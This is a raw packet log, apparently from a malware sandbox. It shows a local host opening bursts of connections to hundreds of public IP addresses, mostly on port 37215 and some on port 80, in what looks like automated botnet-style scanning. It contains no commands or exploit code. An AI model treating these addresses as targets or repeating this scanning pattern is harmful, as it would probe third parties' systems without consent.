Oct 14, 2024 17:30:11.903420925 CEST	53274	80	192.168.2.14	91.29.166.199
Oct 14, 2024 17:30:11.903430939 CEST	53274	80	192.168.2.14	138.186.190.108
Oct 14, 2024 17:30:11.903431892 CEST	53274	80	192.168.2.14	121.224.118.201
Oct 14, 2024 17:30:11.903440952 CEST	53274	80	192.168.2.14	112.37.156.235
Oct 14, 2024 17:30:11.903448105 CEST	53274	80	192.168.2.14	174.221.216.95
Oct 14, 2024 17:30:11.903459072 CEST	53274	80	192.168.2.14	39.125.16.88
Oct 14, 2024 17:30:11.903467894 CEST	53274	80	192.168.2.14	208.225.255.191
Oct 14, 2024 17:30:11.904745102 CEST	37215	53786	197.17.102.192	192.168.2.14
Oct 14, 2024 17:30:11.904784918 CEST	37215	53786	197.225.41.97	192.168.2.14
Oct 14, 2024 17:30:11.904814005 CEST	37215	53786	41.222.141.55	192.168.2.14
Oct 14, 2024 17:30:11.904814959 CEST	53786	37215	192.168.2.14	197.17.102.192
Oct 14, 2024 17:30:11.904839039 CEST	53786	37215	192.168.2.14	197.225.41.97
Oct 14, 2024 17:30:11.904844999 CEST	37215	53786	156.112.190.169	192.168.2.14
Oct 14, 2024 17:30:11.904854059 CEST	53786	37215	192.168.2.14	41.222.141.55
Oct 14, 2024 17:30:11.904875040 CEST	37215	53786	197.64.186.86	192.168.2.14
Oct 14, 2024 17:30:11.904897928 CEST	53786	37215	192.168.2.14	156.112.190.169
Oct 14, 2024 17:30:11.904902935 CEST	37215	53786	156.33.185.5	192.168.2.14
Oct 14, 2024 17:30:11.904921055 CEST	53786	37215	192.168.2.14	197.64.186.86
Oct 14, 2024 17:30:11.904953003 CEST	53786	37215	192.168.2.14	156.33.185.5
Oct 14, 2024 17:30:11.904953957 CEST	37215	53786	156.194.195.114	192.168.2.14
Oct 14, 2024 17:30:11.904983044 CEST	37215	53786	156.170.118.143	192.168.2.14
Oct 14, 2024 17:30:11.905002117 CEST	53786	37215	192.168.2.14	156.194.195.114
Oct 14, 2024 17:30:11.905010939 CEST	37215	53786	197.65.218.62	192.168.2.14
Oct 14, 2024 17:30:11.905030012 CEST	53786	37215	192.168.2.14	156.170.118.143
Oct 14, 2024 17:30:11.905047894 CEST	37215	53786	41.162.56.83	192.168.2.14
Oct 14, 2024 17:30:11.905055046 CEST	53786	37215	192.168.2.14	197.65.218.62
Oct 14, 2024 17:30:11.905085087 CEST	53786	37215	192.168.2.14	41.162.56.83
Oct 14, 2024 17:30:11.905127048 CEST	37215	53786	156.136.253.140	192.168.2.14
Oct 14, 2024 17:30:11.905174017 CEST	53786	37215	192.168.2.14	156.136.253.140
Oct 14, 2024 17:30:11.905308962 CEST	37215	53786	197.118.99.57	192.168.2.14
Oct 14, 2024 17:30:11.905364990 CEST	53786	37215	192.168.2.14	197.118.99.57
Oct 14, 2024 17:30:11.905534029 CEST	37215	53786	41.215.209.233	192.168.2.14
Oct 14, 2024 17:30:11.905582905 CEST	53786	37215	192.168.2.14	41.215.209.233
Oct 14, 2024 17:30:11.905663967 CEST	37215	53786	156.1.162.18	192.168.2.14
Oct 14, 2024 17:30:11.905713081 CEST	53786	37215	192.168.2.14	156.1.162.18
Oct 14, 2024 17:30:11.905765057 CEST	37215	53786	41.185.72.6	192.168.2.14
Oct 14, 2024 17:30:11.905795097 CEST	37215	53786	41.236.156.186	192.168.2.14
Oct 14, 2024 17:30:11.905813932 CEST	53786	37215	192.168.2.14	41.185.72.6
Oct 14, 2024 17:30:11.905836105 CEST	53786	37215	192.168.2.14	41.236.156.186
Oct 14, 2024 17:30:11.906160116 CEST	37215	53786	197.110.110.169	192.168.2.14
Oct 14, 2024 17:30:11.906188965 CEST	37215	53786	156.43.152.192	192.168.2.14
Oct 14, 2024 17:30:11.906209946 CEST	53786	37215	192.168.2.14	197.110.110.169
Oct 14, 2024 17:30:11.906235933 CEST	37215	53786	41.118.233.50	192.168.2.14
Oct 14, 2024 17:30:11.906243086 CEST	53786	37215	192.168.2.14	156.43.152.192
Oct 14, 2024 17:30:11.906270027 CEST	37215	53786	156.75.171.127	192.168.2.14
Oct 14, 2024 17:30:11.906282902 CEST	53786	37215	192.168.2.14	41.118.233.50
Oct 14, 2024 17:30:11.906300068 CEST	37215	53786	197.146.154.25	192.168.2.14
Oct 14, 2024 17:30:11.906322002 CEST	53786	37215	192.168.2.14	156.75.171.127
Oct 14, 2024 17:30:11.906327963 CEST	37215	53786	41.135.222.244	192.168.2.14
Oct 14, 2024 17:30:11.906344891 CEST	53786	37215	192.168.2.14	197.146.154.25
Oct 14, 2024 17:30:11.906356096 CEST	37215	53786	197.121.49.42	192.168.2.14
Oct 14, 2024 17:30:11.906377077 CEST	53786	37215	192.168.2.14	41.135.222.244
Oct 14, 2024 17:30:11.906384945 CEST	37215	53786	197.236.14.46	192.168.2.14
Oct 14, 2024 17:30:11.906414032 CEST	37215	53786	156.228.58.148	192.168.2.14
Oct 14, 2024 17:30:11.906414986 CEST	53786	37215	192.168.2.14	197.121.49.42
Oct 14, 2024 17:30:11.906435013 CEST	53786	37215	192.168.2.14	197.236.14.46
Oct 14, 2024 17:30:11.906444073 CEST	37215	53786	197.148.102.212	192.168.2.14
Oct 14, 2024 17:30:11.906461954 CEST	53786	37215	192.168.2.14	156.228.58.148
Oct 14, 2024 17:30:11.906472921 CEST	37215	53786	197.120.110.168	192.168.2.14
Oct 14, 2024 17:30:11.906485081 CEST	53786	37215	192.168.2.14	197.148.102.212
Oct 14, 2024 17:30:11.906501055 CEST	37215	53786	41.154.215.254	192.168.2.14
Oct 14, 2024 17:30:11.906514883 CEST	53786	37215	192.168.2.14	197.120.110.168
Oct 14, 2024 17:30:11.906529903 CEST	37215	53786	156.228.191.86	192.168.2.14
Oct 14, 2024 17:30:11.906542063 CEST	53786	37215	192.168.2.14	41.154.215.254
Oct 14, 2024 17:30:11.906558990 CEST	37215	53786	156.86.86.10	192.168.2.14
Oct 14, 2024 17:30:11.906584978 CEST	53786	37215	192.168.2.14	156.228.191.86
Oct 14, 2024 17:30:11.906600952 CEST	37215	53786	41.179.243.83	192.168.2.14
Oct 14, 2024 17:30:11.906608105 CEST	53786	37215	192.168.2.14	156.86.86.10
Oct 14, 2024 17:30:11.906644106 CEST	53786	37215	192.168.2.14	41.179.243.83
Oct 14, 2024 17:30:11.906652927 CEST	37215	53786	197.74.193.48	192.168.2.14
Oct 14, 2024 17:30:11.906698942 CEST	37215	53786	197.18.187.155	192.168.2.14
Oct 14, 2024 17:30:11.906702995 CEST	53786	37215	192.168.2.14	197.74.193.48
Oct 14, 2024 17:30:11.906728983 CEST	37215	53786	156.254.73.250	192.168.2.14
Oct 14, 2024 17:30:11.906744957 CEST	53786	37215	192.168.2.14	197.18.187.155
Oct 14, 2024 17:30:11.906758070 CEST	37215	53786	156.50.213.242	192.168.2.14
Oct 14, 2024 17:30:11.906768084 CEST	53786	37215	192.168.2.14	156.254.73.250
Oct 14, 2024 17:30:11.906786919 CEST	37215	53786	41.111.58.137	192.168.2.14
Oct 14, 2024 17:30:11.906812906 CEST	53786	37215	192.168.2.14	156.50.213.242
Oct 14, 2024 17:30:11.906814098 CEST	37215	53786	197.230.155.249	192.168.2.14
Oct 14, 2024 17:30:11.906833887 CEST	53786	37215	192.168.2.14	41.111.58.137
Oct 14, 2024 17:30:11.906841993 CEST	37215	53786	41.61.140.8	192.168.2.14
Oct 14, 2024 17:30:11.906860113 CEST	53786	37215	192.168.2.14	197.230.155.249
Oct 14, 2024 17:30:11.906872988 CEST	37215	53786	156.107.97.145	192.168.2.14
Oct 14, 2024 17:30:11.906889915 CEST	53786	37215	192.168.2.14	41.61.140.8
Oct 14, 2024 17:30:11.906902075 CEST	37215	53786	41.146.219.3	192.168.2.14
Oct 14, 2024 17:30:11.906919956 CEST	53786	37215	192.168.2.14	156.107.97.145
Oct 14, 2024 17:30:11.906941891 CEST	37215	53786	197.84.66.69	192.168.2.14
Oct 14, 2024 17:30:11.906944990 CEST	53786	37215	192.168.2.14	41.146.219.3
Oct 14, 2024 17:30:11.906971931 CEST	37215	53786	156.155.111.80	192.168.2.14
Oct 14, 2024 17:30:11.906981945 CEST	53786	37215	192.168.2.14	197.84.66.69
Oct 14, 2024 17:30:11.907001019 CEST	37215	53786	197.156.0.211	192.168.2.14
Oct 14, 2024 17:30:11.907012939 CEST	53786	37215	192.168.2.14	156.155.111.80
Oct 14, 2024 17:30:11.907028913 CEST	37215	53786	197.194.238.137	192.168.2.14
Oct 14, 2024 17:30:11.907047987 CEST	53786	37215	192.168.2.14	197.156.0.211
Oct 14, 2024 17:30:11.907069921 CEST	37215	53786	197.109.57.108	192.168.2.14
Oct 14, 2024 17:30:11.907079935 CEST	53786	37215	192.168.2.14	197.194.238.137
Oct 14, 2024 17:30:11.907099962 CEST	37215	53786	197.66.205.115	192.168.2.14
Oct 14, 2024 17:30:11.907118082 CEST	53786	37215	192.168.2.14	197.109.57.108
Oct 14, 2024 17:30:11.907130957 CEST	37215	53786	197.166.127.2	192.168.2.14
Oct 14, 2024 17:30:11.907145023 CEST	53786	37215	192.168.2.14	197.66.205.115
Oct 14, 2024 17:30:11.907164097 CEST	37215	53786	156.78.229.194	192.168.2.14
Oct 14, 2024 17:30:11.907171965 CEST	37215	53786	41.67.210.41	192.168.2.14
Oct 14, 2024 17:30:11.907180071 CEST	53786	37215	192.168.2.14	197.166.127.2
Oct 14, 2024 17:30:11.907201052 CEST	37215	53786	197.66.76.36	192.168.2.14
Oct 14, 2024 17:30:11.907207966 CEST	53786	37215	192.168.2.14	156.78.229.194
Oct 14, 2024 17:30:11.907212973 CEST	53786	37215	192.168.2.14	41.67.210.41
Oct 14, 2024 17:30:11.907231092 CEST	37215	53786	41.111.96.124	192.168.2.14
Oct 14, 2024 17:30:11.907243967 CEST	53786	37215	192.168.2.14	197.66.76.36
Oct 14, 2024 17:30:11.907259941 CEST	37215	53786	197.89.124.222	192.168.2.14
Oct 14, 2024 17:30:11.907278061 CEST	53786	37215	192.168.2.14	41.111.96.124
Oct 14, 2024 17:30:11.907289982 CEST	37215	53786	156.138.191.65	192.168.2.14
Oct 14, 2024 17:30:11.907311916 CEST	53786	37215	192.168.2.14	197.89.124.222
Oct 14, 2024 17:30:11.907330990 CEST	53786	37215	192.168.2.14	156.138.191.65
Oct 14, 2024 17:30:11.907339096 CEST	37215	53786	156.35.253.37	192.168.2.14
Oct 14, 2024 17:30:11.907377005 CEST	37215	53786	41.218.253.189	192.168.2.14
Oct 14, 2024 17:30:11.907404900 CEST	53786	37215	192.168.2.14	156.35.253.37
Oct 14, 2024 17:30:11.907429934 CEST	53786	37215	192.168.2.14	41.218.253.189
Oct 14, 2024 17:30:11.907457113 CEST	37215	53786	156.191.27.51	192.168.2.14
Oct 14, 2024 17:30:11.907485962 CEST	37215	53786	41.6.31.212	192.168.2.14
Oct 14, 2024 17:30:11.907497883 CEST	53786	37215	192.168.2.14	156.191.27.51
Oct 14, 2024 17:30:11.907515049 CEST	37215	53786	197.102.138.137	192.168.2.14
Oct 14, 2024 17:30:11.907536030 CEST	53786	37215	192.168.2.14	41.6.31.212
Oct 14, 2024 17:30:11.907557964 CEST	37215	53786	41.140.117.24	192.168.2.14
Oct 14, 2024 17:30:11.907562971 CEST	53786	37215	192.168.2.14	197.102.138.137
Oct 14, 2024 17:30:11.907588005 CEST	37215	53786	156.136.170.190	192.168.2.14
Oct 14, 2024 17:30:11.907607079 CEST	53786	37215	192.168.2.14	41.140.117.24
Oct 14, 2024 17:30:11.907617092 CEST	37215	53786	41.129.60.17	192.168.2.14
Oct 14, 2024 17:30:11.907629013 CEST	53786	37215	192.168.2.14	156.136.170.190
Oct 14, 2024 17:30:11.907645941 CEST	37215	53786	197.239.172.117	192.168.2.14
Oct 14, 2024 17:30:11.907663107 CEST	53786	37215	192.168.2.14	41.129.60.17
Oct 14, 2024 17:30:11.907686949 CEST	37215	53786	41.231.139.191	192.168.2.14
Oct 14, 2024 17:30:11.907695055 CEST	53786	37215	192.168.2.14	197.239.172.117
Oct 14, 2024 17:30:11.907716036 CEST	37215	53786	197.211.229.160	192.168.2.14
Oct 14, 2024 17:30:11.907736063 CEST	53786	37215	192.168.2.14	41.231.139.191
Oct 14, 2024 17:30:11.907743931 CEST	37215	53786	41.23.186.68	192.168.2.14
Oct 14, 2024 17:30:11.907762051 CEST	53786	37215	192.168.2.14	197.211.229.160
Oct 14, 2024 17:30:11.907778025 CEST	37215	53786	197.68.72.217	192.168.2.14
Oct 14, 2024 17:30:11.907784939 CEST	37215	53786	197.237.50.86	192.168.2.14
Oct 14, 2024 17:30:11.907790899 CEST	53786	37215	192.168.2.14	41.23.186.68
Oct 14, 2024 17:30:11.907814026 CEST	37215	53786	156.143.65.12	192.168.2.14
Oct 14, 2024 17:30:11.907819033 CEST	53786	37215	192.168.2.14	197.68.72.217
Oct 14, 2024 17:30:11.907820940 CEST	53786	37215	192.168.2.14	197.237.50.86
Oct 14, 2024 17:30:11.907843113 CEST	37215	53786	156.194.32.58	192.168.2.14
Oct 14, 2024 17:30:11.907854080 CEST	53786	37215	192.168.2.14	156.143.65.12
Oct 14, 2024 17:30:11.907872915 CEST	37215	53786	197.112.21.250	192.168.2.14
Oct 14, 2024 17:30:11.907903910 CEST	53786	37215	192.168.2.14	156.194.32.58
Oct 14, 2024 17:30:11.907907963 CEST	37215	53786	156.172.14.218	192.168.2.14
Oct 14, 2024 17:30:11.907922029 CEST	53786	37215	192.168.2.14	197.112.21.250
Oct 14, 2024 17:30:11.907948971 CEST	37215	53786	41.146.138.225	192.168.2.14
Oct 14, 2024 17:30:11.907953024 CEST	53786	37215	192.168.2.14	156.172.14.218
Oct 14, 2024 17:30:11.907978058 CEST	37215	53786	197.223.7.186	192.168.2.14
Oct 14, 2024 17:30:11.907996893 CEST	53786	37215	192.168.2.14	41.146.138.225
Oct 14, 2024 17:30:11.908006907 CEST	37215	53786	156.174.21.198	192.168.2.14
Oct 14, 2024 17:30:11.908025026 CEST	53786	37215	192.168.2.14	197.223.7.186
Oct 14, 2024 17:30:11.908035040 CEST	37215	53786	197.241.150.127	192.168.2.14
Oct 14, 2024 17:30:11.908051014 CEST	53786	37215	192.168.2.14	156.174.21.198
Oct 14, 2024 17:30:11.908062935 CEST	37215	53786	197.126.118.244	192.168.2.14
Oct 14, 2024 17:30:11.908076048 CEST	53786	37215	192.168.2.14	197.241.150.127
Oct 14, 2024 17:30:11.908094883 CEST	37215	53786	156.19.108.248	192.168.2.14
Oct 14, 2024 17:30:11.908104897 CEST	53786	37215	192.168.2.14	197.126.118.244
Oct 14, 2024 17:30:11.908130884 CEST	37215	53786	197.235.188.141	192.168.2.14
Oct 14, 2024 17:30:11.908138037 CEST	53786	37215	192.168.2.14	156.19.108.248
Oct 14, 2024 17:30:11.908159018 CEST	37215	53786	197.232.249.72	192.168.2.14
Oct 14, 2024 17:30:11.908178091 CEST	53786	37215	192.168.2.14	197.235.188.141
Oct 14, 2024 17:30:11.908186913 CEST	37215	53786	41.39.167.41	192.168.2.14
Oct 14, 2024 17:30:11.908209085 CEST	53786	37215	192.168.2.14	197.232.249.72
Oct 14, 2024 17:30:11.908217907 CEST	37215	53786	41.142.114.251	192.168.2.14
Oct 14, 2024 17:30:11.908235073 CEST	53786	37215	192.168.2.14	41.39.167.41
Oct 14, 2024 17:30:11.908246040 CEST	37215	53786	156.133.87.238	192.168.2.14
Oct 14, 2024 17:30:11.908261061 CEST	53786	37215	192.168.2.14	41.142.114.251
Oct 14, 2024 17:30:11.908274889 CEST	37215	53786	156.112.141.234	192.168.2.14
Oct 14, 2024 17:30:11.908293009 CEST	53786	37215	192.168.2.14	156.133.87.238
Oct 14, 2024 17:30:11.908303022 CEST	37215	53786	41.238.108.194	192.168.2.14
Oct 14, 2024 17:30:11.908325911 CEST	53786	37215	192.168.2.14	156.112.141.234
Oct 14, 2024 17:30:11.908344984 CEST	37215	53786	41.222.28.186	192.168.2.14
Oct 14, 2024 17:30:11.908349037 CEST	53786	37215	192.168.2.14	41.238.108.194
Oct 14, 2024 17:30:11.908373117 CEST	37215	53786	197.248.253.108	192.168.2.14
Oct 14, 2024 17:30:11.908387899 CEST	53786	37215	192.168.2.14	41.222.28.186
Oct 14, 2024 17:30:11.908401012 CEST	37215	53786	41.229.233.195	192.168.2.14
Oct 14, 2024 17:30:11.908410072 CEST	53786	37215	192.168.2.14	197.248.253.108
Oct 14, 2024 17:30:11.908436060 CEST	37215	53786	156.170.29.125	192.168.2.14
Oct 14, 2024 17:30:11.908441067 CEST	37215	53786	156.19.250.96	192.168.2.14
Oct 14, 2024 17:30:11.908447981 CEST	53786	37215	192.168.2.14	41.229.233.195
Oct 14, 2024 17:30:11.908453941 CEST	37215	53786	41.199.251.70	192.168.2.14
Oct 14, 2024 17:30:11.908480883 CEST	37215	53786	41.119.200.197	192.168.2.14
Oct 14, 2024 17:30:11.908482075 CEST	53786	37215	192.168.2.14	156.170.29.125
Oct 14, 2024 17:30:11.908487082 CEST	53786	37215	192.168.2.14	156.19.250.96
Oct 14, 2024 17:30:11.908489943 CEST	53786	37215	192.168.2.14	41.199.251.70
Oct 14, 2024 17:30:11.908508062 CEST	37215	53786	156.135.189.182	192.168.2.14
Oct 14, 2024 17:30:11.908519983 CEST	53786	37215	192.168.2.14	41.119.200.197
Oct 14, 2024 17:30:11.908535957 CEST	37215	53786	156.167.224.78	192.168.2.14
Oct 14, 2024 17:30:11.908562899 CEST	53786	37215	192.168.2.14	156.135.189.182
Oct 14, 2024 17:30:11.908577919 CEST	37215	53786	41.151.10.60	192.168.2.14
Oct 14, 2024 17:30:11.908581972 CEST	53786	37215	192.168.2.14	156.167.224.78
Oct 14, 2024 17:30:11.908607006 CEST	37215	53786	197.177.119.242	192.168.2.14
Oct 14, 2024 17:30:11.908620119 CEST	53786	37215	192.168.2.14	41.151.10.60
Oct 14, 2024 17:30:11.908634901 CEST	37215	53786	197.251.80.196	192.168.2.14
Oct 14, 2024 17:30:11.908662081 CEST	53786	37215	192.168.2.14	197.177.119.242
Oct 14, 2024 17:30:11.908665895 CEST	80	53274	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:11.908678055 CEST	53786	37215	192.168.2.14	197.251.80.196
Oct 14, 2024 17:30:11.908715010 CEST	53274	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:11.922626972 CEST	36872	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.922632933 CEST	58460	37215	192.168.2.14	197.188.235.20
Oct 14, 2024 17:30:11.922636986 CEST	36394	37215	192.168.2.14	156.218.174.34
Oct 14, 2024 17:30:11.922638893 CEST	33746	37215	192.168.2.14	156.98.87.206
Oct 14, 2024 17:30:11.922638893 CEST	52784	37215	192.168.2.14	156.116.241.186
Oct 14, 2024 17:30:11.922643900 CEST	36382	37215	192.168.2.14	41.239.188.6
Oct 14, 2024 17:30:11.922643900 CEST	42754	37215	192.168.2.14	197.207.149.21
Oct 14, 2024 17:30:11.922643900 CEST	34778	37215	192.168.2.14	41.194.134.46
Oct 14, 2024 17:30:11.922643900 CEST	40586	37215	192.168.2.14	197.65.125.173
Oct 14, 2024 17:30:11.922652006 CEST	60300	37215	192.168.2.14	197.231.83.44
Oct 14, 2024 17:30:11.922652960 CEST	33514	37215	192.168.2.14	41.100.104.48
Oct 14, 2024 17:30:11.922652006 CEST	44382	37215	192.168.2.14	41.192.52.187
Oct 14, 2024 17:30:11.922658920 CEST	58164	37215	192.168.2.14	41.82.111.90
Oct 14, 2024 17:30:11.922660112 CEST	52504	37215	192.168.2.14	156.111.226.168
Oct 14, 2024 17:30:11.922665119 CEST	44930	37215	192.168.2.14	156.144.213.217
Oct 14, 2024 17:30:11.922669888 CEST	39762	37215	192.168.2.14	197.38.3.102
Oct 14, 2024 17:30:11.922671080 CEST	57906	37215	192.168.2.14	41.17.99.253
Oct 14, 2024 17:30:11.922672987 CEST	47976	37215	192.168.2.14	41.104.229.93
Oct 14, 2024 17:30:11.922672987 CEST	44614	37215	192.168.2.14	41.117.223.120
Oct 14, 2024 17:30:11.922674894 CEST	42508	37215	192.168.2.14	197.139.34.171
Oct 14, 2024 17:30:11.922674894 CEST	53860	37215	192.168.2.14	197.134.89.254
Oct 14, 2024 17:30:11.922677040 CEST	38030	37215	192.168.2.14	41.244.255.42
Oct 14, 2024 17:30:11.922682047 CEST	40234	37215	192.168.2.14	156.112.108.7
Oct 14, 2024 17:30:11.922683954 CEST	60414	37215	192.168.2.14	41.189.39.190
Oct 14, 2024 17:30:11.922683954 CEST	46662	37215	192.168.2.14	197.103.154.219
Oct 14, 2024 17:30:11.922687054 CEST	44728	37215	192.168.2.14	156.55.122.15
Oct 14, 2024 17:30:11.922687054 CEST	39414	37215	192.168.2.14	41.182.99.130
Oct 14, 2024 17:30:11.922688961 CEST	57322	37215	192.168.2.14	156.206.129.117
Oct 14, 2024 17:30:11.922688961 CEST	50906	37215	192.168.2.14	156.24.176.46
Oct 14, 2024 17:30:11.922688961 CEST	53208	37215	192.168.2.14	41.1.32.139
Oct 14, 2024 17:30:11.922708988 CEST	60642	37215	192.168.2.14	41.17.163.19
Oct 14, 2024 17:30:11.922708988 CEST	51664	37215	192.168.2.14	41.141.244.117
Oct 14, 2024 17:30:11.922708988 CEST	33410	37215	192.168.2.14	156.223.254.14
Oct 14, 2024 17:30:11.922713041 CEST	42810	37215	192.168.2.14	156.231.164.193
Oct 14, 2024 17:30:11.922710896 CEST	34110	37215	192.168.2.14	41.3.20.172
Oct 14, 2024 17:30:11.922709942 CEST	48554	37215	192.168.2.14	41.77.118.82
Oct 14, 2024 17:30:11.922710896 CEST	35310	37215	192.168.2.14	156.21.37.74
Oct 14, 2024 17:30:11.922709942 CEST	60214	37215	192.168.2.14	41.222.150.142
Oct 14, 2024 17:30:11.922713041 CEST	41192	37215	192.168.2.14	41.180.231.59
Oct 14, 2024 17:30:11.922709942 CEST	53628	37215	192.168.2.14	156.118.236.68
Oct 14, 2024 17:30:11.922715902 CEST	42522	37215	192.168.2.14	41.14.62.155
Oct 14, 2024 17:30:11.922710896 CEST	58598	37215	192.168.2.14	197.145.170.161
Oct 14, 2024 17:30:11.922715902 CEST	34854	37215	192.168.2.14	197.56.238.39
Oct 14, 2024 17:30:11.922710896 CEST	49764	37215	192.168.2.14	156.128.77.136
Oct 14, 2024 17:30:11.922710896 CEST	37578	37215	192.168.2.14	41.107.152.217
Oct 14, 2024 17:30:11.922715902 CEST	34010	37215	192.168.2.14	197.122.6.143
Oct 14, 2024 17:30:11.922709942 CEST	52888	37215	192.168.2.14	41.103.110.146
Oct 14, 2024 17:30:11.922713041 CEST	43498	37215	192.168.2.14	41.8.203.216
Oct 14, 2024 17:30:11.922709942 CEST	51292	37215	192.168.2.14	41.127.3.18
Oct 14, 2024 17:30:11.922713041 CEST	47366	37215	192.168.2.14	41.84.189.6
Oct 14, 2024 17:30:11.922728062 CEST	52550	37215	192.168.2.14	197.143.89.78
Oct 14, 2024 17:30:11.922728062 CEST	39734	37215	192.168.2.14	156.191.36.59
Oct 14, 2024 17:30:11.922729015 CEST	46498	37215	192.168.2.14	197.34.98.159
Oct 14, 2024 17:30:11.922729015 CEST	38900	37215	192.168.2.14	156.195.97.201
Oct 14, 2024 17:30:11.922729969 CEST	44378	37215	192.168.2.14	41.242.66.44
Oct 14, 2024 17:30:11.922729969 CEST	58466	37215	192.168.2.14	197.252.168.241
Oct 14, 2024 17:30:11.922732115 CEST	51850	37215	192.168.2.14	197.164.218.17
Oct 14, 2024 17:30:11.922732115 CEST	33296	37215	192.168.2.14	197.53.87.26
Oct 14, 2024 17:30:11.922733068 CEST	57606	37215	192.168.2.14	197.47.106.138
Oct 14, 2024 17:30:11.922733068 CEST	34546	37215	192.168.2.14	197.52.126.20
Oct 14, 2024 17:30:11.922734976 CEST	48384	37215	192.168.2.14	156.242.83.56
Oct 14, 2024 17:30:11.922732115 CEST	55988	37215	192.168.2.14	156.197.122.71
Oct 14, 2024 17:30:11.922734976 CEST	42460	37215	192.168.2.14	197.7.2.153
Oct 14, 2024 17:30:11.922732115 CEST	59540	37215	192.168.2.14	197.149.187.154
Oct 14, 2024 17:30:11.922734976 CEST	32944	37215	192.168.2.14	41.20.106.78
Oct 14, 2024 17:30:11.922732115 CEST	36390	37215	192.168.2.14	41.108.88.194
Oct 14, 2024 17:30:11.922734976 CEST	59164	37215	192.168.2.14	41.168.196.240
Oct 14, 2024 17:30:11.922733068 CEST	41848	37215	192.168.2.14	197.217.242.63
Oct 14, 2024 17:30:11.922733068 CEST	55560	37215	192.168.2.14	41.169.11.163
Oct 14, 2024 17:30:11.922733068 CEST	38214	37215	192.168.2.14	41.70.187.176
Oct 14, 2024 17:30:11.922744036 CEST	49614	37215	192.168.2.14	197.235.223.5
Oct 14, 2024 17:30:11.922744036 CEST	35250	37215	192.168.2.14	41.55.68.150
Oct 14, 2024 17:30:11.922744036 CEST	58968	37215	192.168.2.14	197.24.121.206
Oct 14, 2024 17:30:11.922744989 CEST	56974	37215	192.168.2.14	156.45.182.155
Oct 14, 2024 17:30:11.922750950 CEST	49386	37215	192.168.2.14	156.165.27.220
Oct 14, 2024 17:30:11.922756910 CEST	55662	37215	192.168.2.14	41.58.231.47
Oct 14, 2024 17:30:11.922756910 CEST	52604	37215	192.168.2.14	41.213.26.221
Oct 14, 2024 17:30:11.922760010 CEST	48088	37215	192.168.2.14	41.105.134.5
Oct 14, 2024 17:30:11.922756910 CEST	43478	37215	192.168.2.14	156.226.104.51
Oct 14, 2024 17:30:11.922760010 CEST	48522	37215	192.168.2.14	197.226.179.113
Oct 14, 2024 17:30:11.922764063 CEST	34900	37215	192.168.2.14	197.0.236.115
Oct 14, 2024 17:30:11.922758102 CEST	46416	37215	192.168.2.14	197.127.23.194
Oct 14, 2024 17:30:11.922756910 CEST	34070	37215	192.168.2.14	197.20.135.118
Oct 14, 2024 17:30:11.922760963 CEST	40964	37215	192.168.2.14	197.93.88.62
Oct 14, 2024 17:30:11.922758102 CEST	56902	37215	192.168.2.14	41.198.207.170
Oct 14, 2024 17:30:11.922756910 CEST	59340	37215	192.168.2.14	197.190.87.191
Oct 14, 2024 17:30:11.922759056 CEST	51636	37215	192.168.2.14	197.150.180.171
Oct 14, 2024 17:30:11.922760010 CEST	50816	37215	192.168.2.14	156.31.136.219
Oct 14, 2024 17:30:11.922764063 CEST	55882	37215	192.168.2.14	156.62.93.61
Oct 14, 2024 17:30:11.922764063 CEST	45608	37215	192.168.2.14	41.210.54.26
Oct 14, 2024 17:30:11.922765970 CEST	40416	37215	192.168.2.14	156.231.201.110
Oct 14, 2024 17:30:11.922764063 CEST	42060	37215	192.168.2.14	197.12.183.110
Oct 14, 2024 17:30:11.922764063 CEST	40238	37215	192.168.2.14	41.207.66.146
Oct 14, 2024 17:30:11.922759056 CEST	51580	37215	192.168.2.14	197.144.116.120
Oct 14, 2024 17:30:11.922775030 CEST	55686	37215	192.168.2.14	41.255.30.177
Oct 14, 2024 17:30:11.922760010 CEST	51756	37215	192.168.2.14	156.19.217.129
Oct 14, 2024 17:30:11.922760010 CEST	60926	37215	192.168.2.14	41.192.225.32
Oct 14, 2024 17:30:11.922760010 CEST	39718	37215	192.168.2.14	41.118.159.230
Oct 14, 2024 17:30:11.922781944 CEST	59624	37215	192.168.2.14	156.51.110.104
Oct 14, 2024 17:30:11.922781944 CEST	46818	37215	192.168.2.14	197.208.230.87
Oct 14, 2024 17:30:11.922781944 CEST	42038	37215	192.168.2.14	41.240.211.200
Oct 14, 2024 17:30:11.922781944 CEST	54898	37215	192.168.2.14	197.23.139.165
Oct 14, 2024 17:30:11.922785044 CEST	41748	37215	192.168.2.14	197.198.105.178
Oct 14, 2024 17:30:11.922785044 CEST	57898	37215	192.168.2.14	41.33.73.168
Oct 14, 2024 17:30:11.922786951 CEST	41520	37215	192.168.2.14	197.0.45.87
Oct 14, 2024 17:30:11.922785044 CEST	36358	37215	192.168.2.14	41.100.118.62
Oct 14, 2024 17:30:11.922785044 CEST	40102	37215	192.168.2.14	156.198.69.109
Oct 14, 2024 17:30:11.922785044 CEST	36366	37215	192.168.2.14	197.21.38.27
Oct 14, 2024 17:30:11.922785044 CEST	54784	37215	192.168.2.14	156.13.61.79
Oct 14, 2024 17:30:11.922775030 CEST	45196	37215	192.168.2.14	41.77.212.154
Oct 14, 2024 17:30:11.922786951 CEST	35078	37215	192.168.2.14	156.58.17.171
Oct 14, 2024 17:30:11.922785044 CEST	54096	37215	192.168.2.14	197.79.102.173
Oct 14, 2024 17:30:11.922786951 CEST	47414	37215	192.168.2.14	156.158.87.87
Oct 14, 2024 17:30:11.922775030 CEST	34648	37215	192.168.2.14	197.230.99.181
Oct 14, 2024 17:30:11.922789097 CEST	60508	37215	192.168.2.14	41.4.105.219
Oct 14, 2024 17:30:11.922789097 CEST	54990	37215	192.168.2.14	197.140.126.237
Oct 14, 2024 17:30:11.922789097 CEST	34112	37215	192.168.2.14	156.22.33.77
Oct 14, 2024 17:30:11.922789097 CEST	39014	37215	192.168.2.14	156.130.109.31
Oct 14, 2024 17:30:11.922789097 CEST	54830	37215	192.168.2.14	156.187.237.227
Oct 14, 2024 17:30:11.922789097 CEST	43046	37215	192.168.2.14	197.231.115.97
Oct 14, 2024 17:30:11.922802925 CEST	60174	37215	192.168.2.14	197.107.86.175
Oct 14, 2024 17:30:11.922786951 CEST	42584	37215	192.168.2.14	197.206.233.175
Oct 14, 2024 17:30:11.922806978 CEST	57214	37215	192.168.2.14	156.52.254.226
Oct 14, 2024 17:30:11.922806978 CEST	38292	37215	192.168.2.14	156.95.227.106
Oct 14, 2024 17:30:11.922806978 CEST	38922	37215	192.168.2.14	156.128.212.250
